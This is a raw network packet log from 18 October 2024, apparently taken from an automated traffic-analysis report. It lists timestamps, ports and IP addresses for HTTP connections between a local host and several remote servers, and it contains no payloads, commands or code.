Oct 18, 2024 15:04:18.382183075 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.382199049 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.382210016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.382235050 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.383069992 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383081913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383090973 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383102894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383115053 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383122921 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.383137941 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.383151054 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.383928061 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383940935 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383950949 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383961916 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383974075 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.383985043 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.383986950 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.384012938 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.384027958 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.384947062 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.384958982 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.384969950 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.384980917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.384991884 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385003090 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385004044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.385024071 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.385035992 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.385678053 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385689974 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385700941 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385713100 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385725021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385732889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.385737896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.385756016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.385767937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.386487961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386501074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386511087 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386522055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386533976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386544943 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386554003 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.386555910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.386579037 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.386591911 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.387356997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387368917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387378931 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387397051 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387409925 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387417078 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.387423038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387433052 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.387444019 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.387464046 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.387501955 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.388276100 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.388287067 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.388298035 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.388309002 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.388322115 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.388331890 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.388334036 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.388355017 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.388370991 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.389117002 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389130116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389141083 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389153957 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389164925 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389173985 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.389177084 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389194965 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.389198065 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.389209032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.389231920 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.389990091 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390002966 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390013933 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390024900 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390037060 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390048027 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390049934 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.390058994 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.390059948 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390086889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.390105963 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.390856981 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390868902 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390877962 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390889883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390901089 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390912056 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.390918016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.390942097 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.390954971 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.391663074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.391700983 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.391710997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.391727924 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.391742945 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.391765118 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.392177105 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.392189026 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.392199993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.392211914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.392224073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.392230034 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.392236948 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.392242908 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.392258883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.392280102 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.393106937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393119097 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393130064 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393141031 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393152952 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.393155098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393162966 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.393167019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393179893 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393193960 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.393202066 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.393227100 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.393965960 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393978119 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.393989086 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394001961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394012928 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394021034 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394026041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394036055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394042969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394056082 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394078016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394762993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394774914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394787073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394798040 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394809961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394814014 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394820929 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394826889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394833088 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.394857883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.394875050 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.395742893 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395755053 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395766020 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395777941 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395788908 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395797014 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.395801067 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395812988 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395818949 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.395824909 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.395833015 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.395859957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.396699905 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396713018 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396723986 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396737099 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396749973 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396763086 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396769047 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.396769047 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.396774054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396786928 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.396789074 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.396816969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.396841049 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.397617102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397629023 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397639990 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397650957 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397660971 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.397663116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397672892 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.397675037 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397686005 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.397701025 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.397715092 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.398384094 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398396969 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398407936 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398423910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398436069 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398441076 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.398448944 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398448944 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.398461103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.398471117 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.398495913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.399255991 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399269104 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399280071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399292946 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399301052 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.399303913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399316072 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399317980 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.399327993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399339914 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.399348021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399353981 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:18.399358988 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:18.399396896 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:20.665504932 CEST	49825	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:20.665942907 CEST	49855	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:20.673507929 CEST	80	49855	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:20.673603058 CEST	49855	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:20.674814939 CEST	49855	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:20.675467968 CEST	80	49825	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:20.675512075 CEST	49825	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:20.681440115 CEST	80	49855	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:20.714751959 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:20.720416069 CEST	80	49856	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:20.720510006 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:20.720678091 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:20.726805925 CEST	80	49856	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:21.685992956 CEST	80	49855	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:21.686065912 CEST	49855	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:21.706846952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:21.706893921 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:21.734309912 CEST	80	49856	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:21.734373093 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:21.895397902 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:21.900418043 CEST	80	49856	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:22.196211100 CEST	80	49856	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:22.196288109 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:22.241430998 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:22.241702080 CEST	49864	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:22.246304035 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:22.246478081 CEST	80	49864	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:22.246561050 CEST	49864	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:22.258321047 CEST	49864	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:22.263498068 CEST	80	49864	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:23.164733887 CEST	80	49864	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:23.164798021 CEST	49864	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:24.905414104 CEST	49855	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:24.908734083 CEST	49878	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:24.910630941 CEST	80	49855	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:24.910684109 CEST	49855	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:24.913954973 CEST	80	49878	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:24.914022923 CEST	49878	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:24.914191961 CEST	49878	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:24.919461966 CEST	80	49878	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:25.849647045 CEST	80	49878	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:25.849709034 CEST	49878	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:25.868549109 CEST	49864	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:25.868832111 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:25.912122965 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:25.912136078 CEST	80	49864	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:25.912221909 CEST	49864	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:25.913765907 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:25.944541931 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:25.951915026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.203751087 CEST	49856	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:26.917890072 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.917970896 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.918024063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918086052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918127060 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.918309927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918323994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918334007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918359041 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.918380976 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.918757915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918869019 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918879986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.918905020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.918929100 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.919380903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.920850992 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.923245907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.923305988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.923324108 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.923346996 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.924352884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:26.927880049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:26.999531031 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:26.999581099 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:26.999654055 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:27.000766993 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:27.000778913 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:27.084252119 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084419966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084431887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084526062 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.084692001 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084702969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084750891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.084808111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084819078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084829092 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084841013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084851980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.084856987 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.084898949 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.084898949 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.085485935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.085618973 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.085629940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.085668087 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.085722923 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.085855961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.085865974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.085908890 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.086379051 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.086488962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.086499929 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.086539984 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.087114096 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.087125063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.087162971 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.087894917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.087910891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.087939978 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.087977886 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.232374907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.232492924 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.232532978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.232546091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.232592106 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.232734919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.232747078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.232786894 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.233048916 CEST	80	49884	185.215.113.103	192.168.2.4
